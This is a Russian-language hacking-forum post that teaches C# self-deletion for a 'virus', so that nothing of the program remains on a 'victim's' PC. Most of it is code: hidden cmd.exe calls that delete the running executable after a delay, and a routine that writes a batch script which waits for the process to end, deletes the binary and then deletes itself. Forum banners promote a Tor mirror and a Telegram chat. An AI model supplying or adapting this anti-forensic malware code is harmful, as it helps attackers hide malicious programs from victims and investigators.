[C#] Само-удаление программы(для вируса)

  • На форуме работает ручное одобрение пользователей. Это значит, что, если Ваша причина регистрации не соответствует тематике форума, а также Вы используете временную почту, Ваша учётная запись будет отклонена без возможности повторной регистрации. В дальнейшем - пожизненная блокировка обоих аккаунтов за создание мультиаккаунта.
  • Мы обновили Tor зеркало до v3!
    Для входа используйте следующий url: darkv3nw2...bzad.onion/
  • Мы вновь вернули telegram чат форуму, вступайте, общайтесь, задавайте любые вопросы как администрации, так и пользователям!
    Ссылка: https://t.me/chat_dark_time

ZetSving

Участник

ZetSving

Участник
17 Сен 2016
10
5
Никто не хочет оставлять после себя какое-либо тело от вашей программы(вируса) на ПК жерты, поэтому мы сделаем самоудаление программы после окончания всех ею функций!)
Пользуемся!!
Для формы:
ProcessStartInfo Flash =
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
ProcessStartInfo();
Flash.Arguments = "/C choice /C Y /N /D Y /T 3 & Del" + Application.ExecutablePath; Flash.WindowStyle = ProcessWindowStyle.Hidden; Flash.CreateNoWindow = true; Flash.FileName = "cmd.exe";Process.Start(Flash);

Process.GetCurrentProcess().Kill();

Для консоли:
ProcessStartInfo Flash =
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
ProcessStartInfo();
Flash.Arguments = "/C choice /C Y /N /D Y /T 3 &
Del \"" + (
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
FileInfo((
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
Uri(Assembly.GetExecutingAssembly().CodeBase)).LocalPath)).Name + "\""; Flash.WindowStyle = ProcessWindowStyle.Hidden; Flash.CreateNoWindow = true; Flash.FileName = "cmd.exe"; Process.Start(Flash).Dispose();
Process.GetCurrentProcess().Kill();

Так же можно с помощью скрипта:
public static void InitiateSelfDestructSequence()
{
string batchScriptName = "BatchScript.bat";
using (StreamWriter writer = File.AppendText(batchScriptName))
{
writer.WriteLine(":Loop");
writer.WriteLine("Tasklist /fi \"PID eq " + Process.GetCurrentProcess().Id.ToString() + "\" | find \":\"");
writer.WriteLine("if Errorlevel 1 (");
writer.WriteLine(" Timeout /T 1 /Nobreak");
writer.WriteLine(" Goto Loop");
writer.WriteLine(")");
writer.WriteLine("Del \"" + (new FileInfo((new Uri(Assembly.GetExecutingAssembly().CodeBase)).LocalPath)).Name + "\"");
}
Process.Start(new ProcessStartInfo() { Arguments = "/C " + batchScriptName + " & Del " + batchScriptName, WindowStyle = ProcessWindowStyle.Hidden, CreateNoWindow = true, FileName = "cmd.exe" });
}
 
Последнее редактирование модератором:

О нас

  • Наше сообщество существует уже много лет и гордится тем, что предлагает непредвзятое, критическое обсуждение различных тем среди людей разных слоев общества. Мы работаем каждый день, чтобы убедиться, что наше сообщество является одним из лучших.

    Dark-Time 2015 - 2024

    При поддержке: XenForo.Info

Быстрая навигация

Меню пользователя